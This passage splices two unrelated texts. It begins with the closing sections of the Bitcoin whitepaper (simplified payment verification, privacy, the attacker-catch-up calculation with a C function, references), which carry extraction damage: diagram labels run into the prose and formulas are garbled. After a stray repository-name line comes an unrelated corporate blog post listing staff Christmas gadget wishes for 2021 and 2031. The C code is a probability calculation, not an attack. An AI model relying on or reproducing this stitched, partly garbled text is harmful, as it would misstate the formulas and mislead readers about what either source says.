Pruning Tx0-2 from the Block A block header with no transactions would be about 80 bytes. If we suppose blocks are generated every 10 minutes, 80 bytes * 6 * 24 * 365 = 4.2MB per year. With computer systems typically selling with 2GB of RAM as of 2008, and Moore's Law predicting current growth of 1.2GB per year, storage should not be a problem even if the block headers must be kept in memory. 4 8. Simplified Payment Verification It is possible to verify payments without running a full network node. A user only needs to keep a copy of the block headers of the longest proof-of-work chain, which he can get by querying network nodes until he's convinced he has the longest chain, and obtain the Merkle branch linking the transaction to the block it's timestamped in. He can't check the transaction for himself, but by linking it to a place in the chain, he can see that a network node has accepted it, and blocks added after it further confirm the network has accepted it. Longest Proof-of-Work Chain Block Header Block Header Block Header Prev Hash Nonce Prev Hash Nonce Prev Hash Nonce Merkle Root Merkle Root Merkle Root Hash01 Hash23 Merkle Branch for Tx3 Hash2 Hash3 Tx3 As such, the verification is reliable as long as honest nodes control the network, but is more vulnerable if the network is overpowered by an attacker. While network nodes can verify transactions for themselves, the simplified method can be fooled by an attacker's fabricated transactions for as long as the attacker can continue to overpower the network. One strategy to protect against this would be to accept alerts from network nodes when they detect an invalid block, prompting the user's software to download the full block and alerted transactions to confirm the inconsistency. Businesses that receive frequent payments will probably still want to run their own nodes for more independent security and quicker verification. 9. Combining and Splitting Value Although it would be possible to handle coins individually, it would be unwieldy to make a separate transaction for every cent in a transfer. To allow value to be split and combined, transactions contain multiple inputs and outputs. Normally there will be either a single input from a larger previous transaction or multiple inputs combining smaller amounts, and at most two outputs: one for the payment, and one returning the change, if any, back to the sender. It should be noted that fan-out, where a transaction depends on several transactions, and those transactions depend on many more, is not a problem here. There is never the need to extract a complete standalone copy of a transaction's history. 5 Transaction In Out In ... ... 10. Privacy The traditional banking model achieves a level of privacy by limiting access to information to the parties involved and the trusted third party. The necessity to announce all transactions publicly precludes this method, but privacy can still be maintained by breaking the flow of information in another place: by keeping public keys anonymous. The public can see that someone is sending an amount to someone else, but without information linking the transaction to anyone. This is similar to the level of information released by stock exchanges, where the time and size of individual trades, the "tape", is made public, but without telling who the parties were. Traditional Privacy Model Identities Transactions New Privacy Model Identities Transactions As an additional firewall, a new key pair should be used for each transaction to keep them from being linked to a common owner. Some linking is still unavoidable with multi-input transactions, which necessarily reveal that their inputs were owned by the same owner. The risk is that if the owner of a key is revealed, linking could reveal other transactions that belonged to the same owner. 11. Calculations We consider the scenario of an attacker trying to generate an alternate chain faster than the honest chain. Even if this is accomplished, it does not throw the system open to arbitrary changes, such as creating value out of thin air or taking money that never belonged to the attacker. Nodes are not going to accept an invalid transaction as payment, and honest nodes will never accept a block containing them. An attacker can only try to change one of his own transactions to take back money he recently spent. The race between the honest chain and an attacker chain can be characterized as a Binomial Random Walk. The success event is the honest chain being extended by one block, increasing its lead by +1, and the failure event is the attacker's chain being extended by one block, reducing the gap by -1. The probability of an attacker catching up from a given deficit is analogous to a Gambler's Ruin problem. Suppose a gambler with unlimited credit starts at a deficit and plays potentially an infinite number of trials to try to reach breakeven. We can calculate the probability he ever reaches breakeven, or that an attacker ever catches up with the honest chain, as follows [8]: p = probability an honest node finds the next block q = probability the attacker finds the next block qz = probability the attacker will ever catch up from z blocks behind Trusted Third Party q ={ 1 if p≤q} z q/pz if pq 6 Counterparty Public Public Given our assumption that p > q, the probability drops exponentially as the number of blocks the attacker has to catch up with increases. With the odds against him, if he doesn't make a lucky lunge forward early on, his chances become vanishingly small as he falls further behind. We now consider how long the recipient of a new transaction needs to wait before being sufficiently certain the sender can't change the transaction. We assume the sender is an attacker who wants to make the recipient believe he paid him for a while, then switch it to pay back to himself after some time has passed. The receiver will be alerted when that happens, but the sender hopes it will be too late. The receiver generates a new key pair and gives the public key to the sender shortly before signing. This prevents the sender from preparing a chain of blocks ahead of time by working on it continuously until he is lucky enough to get far enough ahead, then executing the transaction at that moment. Once the transaction is sent, the dishonest sender starts working in secret on a parallel chain containing an alternate version of his transaction. The recipient waits until the transaction has been added to a block and z blocks have been linked after it. He doesn't know the exact amount of progress the attacker has made, but assuming the honest blocks took the average expected time per block, the attacker's potential progress will be a Poisson distribution with expected value: = z qp To get the probability the attacker could still catch up now, we multiply the Poisson density for each amount of progress he could have made by the probability he could catch up from that point: ∞ ke−{q/pz−k ifk≤z} ∑k=0 k!⋅ 1 ifkz Rearranging to avoid summing the infinite tail of the distribution... z ke− z−k 1−∑k=0 k! 1−q/p Converting to C code... #include <math.h> double AttackerSuccessProbability(double q, int z) { double p = 1.0 - q; double lambda = z * (q / p); double sum = 1.0; int i, k; for (k = 0; k <= z; k++) { double poisson = exp(-lambda); for (i = 1; i <= k; i++) poisson *= lambda / i; sum -= poisson * (1 - pow(q / p, z - k)); } return sum; } 7 Running some results, we can see the probability drop off exponentially with z. q=0.1 z=0 P=1.0000000 z=1 P=0.2045873 z=2 P=0.0509779 z=3 P=0.0131722 z=4 P=0.0034552 z=5 P=0.0009137 z=6 P=0.0002428 z=7 P=0.0000647 z=8 P=0.0000173 z=9 P=0.0000046 z=10 P=0.0000012 q=0.3 z=0 P=1.0000000 z=5 P=0.1773523 z=10 P=0.0416605 z=15 P=0.0101008 z=20 P=0.0024804 z=25 P=0.0006132 z=30 P=0.0001522 z=35 P=0.0000379 z=40 P=0.0000095 z=45 P=0.0000024 z=50 P=0.0000006 Solving for P less than 0.1%... P < 0.001 q=0.10 z=5 q=0.15 z=8 q=0.20 z=11 q=0.25 z=15 q=0.30 z=24 q=0.35 z=41 q=0.40 z=89 q=0.45 z=340 12. Conclusion We have proposed a system for electronic transactions without relying on trust. We started with the usual framework of coins made from digital signatures, which provides strong control of ownership, but is incomplete without a way to prevent double-spending. To solve this, we proposed a peer-to-peer network using proof-of-work to record a public history of transactions that quickly becomes computationally impractical for an attacker to change if honest nodes control a majority of CPU power. The network is robust in its unstructured simplicity. Nodes work all at once with little coordination. They do not need to be identified, since messages are not routed to any particular place and only need to be delivered on a best effort basis. Nodes can leave and rejoin the network at will, accepting the proof-of-work chain as proof of what happened while they were gone. They vote with their CPU power, expressing their acceptance of valid blocks by working on extending them and rejecting invalid blocks by refusing to work on them. Any needed rules and incentives can be enforced with this consensus mechanism. 8 References [1] W. Dai, "b-money," http://www.weidai.com/bmoney.txt, 1998. [2] H. Massias, X.S. Avila, and J.-J. Quisquater, "Design of a secure timestamping service with minimal trust requirements," In 20th Symposium on Information Theory in the Benelux, May 1999. [3] S. Haber, W.S. Stornetta, "How to time-stamp a digital document," In Journal of Cryptology, vol 3, no 2, pages 99-111, 1991. [4] D. Bayer, S. Haber, W.S. Stornetta, "Improving the efficiency and reliability of digital time-stamping," In Sequences II: Methods in Communication, Security and Computer Science, pages 329-334, 1993. [5] S. Haber, W.S. Stornetta, "Secure names for bit-strings," In Proceedings of the 4th ACM Conference on Computer and Communications Security, pages 28-35, April 1997. [6] A. Back, "Hashcash - a denial of service counter-measure," http://www.hashcash.org/papers/hashcash.pdf, 2002. [7] R.C. Merkle, "Protocols for public key cryptosystems," In Proc. 1980 Symposium on Security and Privacy, IEEE Computer Society, pages 122-133, April 1980. [8] W. Feller, "An introduction to probability theory and its applications," 1957. 9
TanayGhanshyam / Crispy Octo GuideWe have come a long way since I was a child in the 1960s when all I wanted for Christmas was a slinky and some Rock’Em – Sock’Em Robots. Now imagine we have traveled ten years into the future, and it is Christmas 2031. Alexa has replaced kids’ parents and Santa Claus. Every toy is connected to the Internet and looks like a robot version of the animal it represents. Clean thermonuclear Christmas trees will be providing us with radiant, gamma-ray energy for all our holiday needs. Pogo sticks have also made a comeback, but they are solar-powered and can leap entire city blocks. And while I am busy pretending to be the Ghost of Christmas Future, I thought it would also be fun to ask the Office of the CTO team about their predictions for futuristic, technical toys. So, I posed these two questions: What cool TECHNICAL toy or gadget would you like Santa to bring you this year in 2021? As a participating member of the Office of the CTO, what cool TECHNICAL toy or gadget (that has not yet been invented) would you like Santa to bring you in 10 years from now in 2031? christmas wishlist for the octo team overlay You know what? We just might see I see a sneak preview of some of these magical tech toys of the future in just a few weeks at the CES 2022 conference. In the meantime, take a look at the wish list from all of our Extreme technical gurus: Marcus Burton – Wireless and Cloud Architect Christmas Wish 2021: Is a Tesla Cybertruck an option? I’ll even take a prototype. That will scratch several technology itches at the same time. Think about it…EV, autonomous driving, AI, 5G probably, cloud-connected, mobile-first, and all the best in materials sciences and mechanical engineering applied to trucks. What more could an outdoorsy tech guy want? Christmas Wish 2031: I’m kinda thinking that while everyone else has their brain slurped out in the metaverse (with VR!), I will prefer to go to the actual mountains. But you know, I have a wife and kids, so I have to think about safety. So here’s my wish: a smart personal device that has a full week of battery life (using ultra-thin silicon wafers) with rapid solar charging, LEO satellite connectivity (for sending “eat your heart out” 3D pics to my friends from the “there’s no 6G here” wilderness), and ultra-HD terrain feature maps for modern navigation. Carla Guzzetti – VP, Experience, Messaging & Enablement Christmas Wish 2021: I want this: Meeting Owl Pro – 360-Degree, 1080p HD Smart Video Conference Camera, Microphone, and Speaker Christmas Wish 2031: I want a gadget where we can have virtual meetings without the need for a wearable! Who wants to wear heavy goggles all day? Doug McDonald – Director of Product Management Christmas Wish 2021: As a technologist often looking for a balance between screen time and health and fitness I hope Santa brings me the Aura Strap. The Aura strap adds additional IoT sensory capabilities to compliment your Apple smartwatch. Bioelectrical impedance analysis is the cutting-edge science behind the AURA Strap. This innovation provides a way to truly see how your body changes over the course of a day. Their body composition analysis includes fat, muscle mass, minerals, and hydration; providing personalized insights that improve the results of your workouts, diet, and your lifestyle as a whole. Christmas Wish 2031: Hopefully, this innovation will be here sooner. Still, in the spirit of my first wish from Santa, I also hope to have a service engine warning light for me. The concept is utilizing advancements in biomedical sensory devices to pinpoint potential changes in your physical metrics that may help in seeking medical attention sooner than later if variances in health data occur. I spoke about this concept in the Digital Diagnosis episode of the Inflection Points podcast from the Office of the CTO. Ed Koehler – Principal Engineer Christmas Wish 2021: My answers are short and sweet. I want a nice drone with high-resolution pan, tilt, and zoom (PTZ) cameras. Christmas Wish 2031: In ten years, I want a drone that I can sit inside and fly away! Puneet Sehgal – Business Initiatives Program Manager Christmas Wish 2021: I have always wanted to enjoy the world from a bird’s eye view. Therefore, my wish is for Santa to bring me a good-quality drone camera this year. It is amazing how quickly drones have evolved from commercial /military use to becoming a personal gadget. Christmas Wish 2031: In 2031, I wish Santa could get me a virtual reality (VR) trainer to help me internalize physical motion by looking at a simulation video while sending an electrical impulse to mimic it. It will open endless possibilities, and I could become an ice skater, a karate expert, or a pianist – all in one. Maybe similar research is already being done, but we are far away from something like this maturing for practical use. So, who knows – it’s Santa after all and we are talking 2031! Tim Harrison – Director of Product Marketing, Service Provider Christmas Wish 2021: This year, I would love to extend my audio recording setup and move from a digital 24 channel mixer to a control surface that integrates with my DAW (digital audio workstation) and allows me to use my outboard microphone pre-amps. I’ve been looking at an ICON QCon Pro G2 plus one QCon EX G2 extender to give me direct control over 16 channels at once (I use 16 channels just for my drum kit). Christmas Wish 2031: Ten years from now, I sincerely hope to receive an anti-gravity platform. First, I’ll be old, and climbing stairs will have become more challenging for these creaky old bones. Secondly, who hasn’t hoped for a REAL hoverboard? Once we know what gravity is “made of,” we can start making it easier to manipulate objects on earth and make space more habitable for human physiology. Either that or a puppy. Puppy sitting Divya Balu Pazhayannur – Director of Business Initiatives Christmas Wish 2021: I’m upgrading parts of my house over the holidays and browsing online for kitchen and laundry appliances. If you had told me that I would be spending three hours reading blogs on choosing the right cooktop for me, I would not have believed you. Does it have the right power, is it reliable, is it Wi-Fi enabled, can you talk to it – I’m kidding on that last one. Having said that, I’d love to get the Bosch Benchmark Gas Stovetop. Although I can’t speak to my appliance, its minimalist look has me writing it down on my wish list for Santa. I’ll even offer him some crispy dosas in exchange. Christmas Wish 2031: Apart from flying cars and personal robot assistants, I’d love to get the gift of better connectivity. I miss my family and friends in India, and it would be amazing to engage with them through holographic technology. I imagine it would allow for a much higher level of communication than today’s ‘talking head’ approach. Although do I want my family sitting with me in my living room? Still – I’d like to think a holograph would be just fantastic. Yury Ostrovsky – Sr. Technology Manager Christmas Wish 2021: I believe 2022 will be the year of VR toys. Virtual Reality is already popular, but I believe more applications will be developed in this area. We might see radio waves coming from different sources (Wi-Fi, LTE, 5G, BT, etc.) and visualize propagation in real-time. Christmas Wish 2031: “Prediction is very difficult, especially if it’s about the future” – Niels Bohr Kurt Semba – Principal Architect Christmas Wish 2021: The Crown from Neurosity. It helps you get and stay in a deep focus to improve your work and gaming results. Christmas Wish 2031: A non-evasive health device that can quickly look deep into your body and cells and explain why you are not feeling well today. Jon Filson – Senior Producer, Content Christmas Wish 2021: I want a large rollable TV by LG. In part because I watch a lot of football. And while I have a Smart TV, I still can’t get it to connect to my Bluetooth speaker … so while I love it, I want it to work better, and isn’t that so often the way with tech? But more than that, I don’t like and have never liked that rooms have to be designed around TVs. They are big, which is fine, but they are often in the way, which is less so. They should disappear when not in use. It’s $100,000 so I don’t expect it any time soon. But it’s an idea whose time has come. Christmas Wish 2031: I cheated on this one and asked my 12-year-old son Jack what he would want. It’s the portal gun, from Rick and Morty, a show in which a crazed scientist named Rick takes his grandson Morty on wacky adventures in a multi-verse. That last part is important to me. Kids today are already well into multi-verses, while we adults are just struggling to make one decent Metaverse. The next generation is already way ahead of us digitally speaking, it’s clear. Alexey Reznik – Senior UX Designer Christmas Wish 2021: This awesome toy: DJI Mavic 2 Pro – Drone Quadcopter UAV with Hasselblad Camera 3-Axis Gimbal HDR 4K Video Adjustable Aperture 20MP 1″ CMOS Sensor, up to 48mph, Gray Christmas Wish 2031: Something along these lines: BMW Motorrad VISION NEXT 100 BMW Motorcycle Michael Rash – Distinguished Engineer – Security Christmas Wish 2021: Satechi USB-C Multiport MX Adapter – Dual 4K HDMI. Christmas Wish 2031: A virtual reality headset that actually works. Alena Amir – Senior Content and Communications Manager Christmas Wish 2021: With conversations around VR/AR and the metaverse taking the world by storm, Santa could help out with an Oculus Quest. Purely for research purposes of course! Christmas Wish 2031: The 1985 movie, Back to the Future, was a family favorite and sure we didn’t get it all exactly right by 2015 but hey, it’s almost 2022! About time we get those hoverboards! David Coleman – Director of Wireless Christmas Wish 2021: Well, it looks like drones are the #1 wish item for 2021, and I am no exception. My wife and I just bought a home in the mountains of Blue Ridge, Georgia, where there is an abundance of wildlife. I want a state-of-the-art drone for bear surveillance. Christmas Wish 2031: In ten years, I will be 71 years old, and I hope to be at least semi-retired and savoring the fruits of my long tech career. Even though we are looking to the future, I want a time machine to revisit the past. I would travel back to July 16th, 1969, and watch Apollo 11 liftoff from Cape Kennedy to the moon. I actually did that as a nine-year-old kid. Oh, and I would also travel back to 1966 and play with my Rock’Em – Sock’Em Robots. Rock'em Sock'em Robots To summarize, our peeps in the Office of the CTO all envision Christmas 2031, where the way we interact as a society will have progressed. In 2021, we already have unlimited access to information, so future tech toys might depend less on magical new technologies and more on the kinds of experiences these new technologies can create. And when those experiences can be shared across the globe in real-time, the world gains an opportunity to learn from each other and grow together in ways that would never have been possible.
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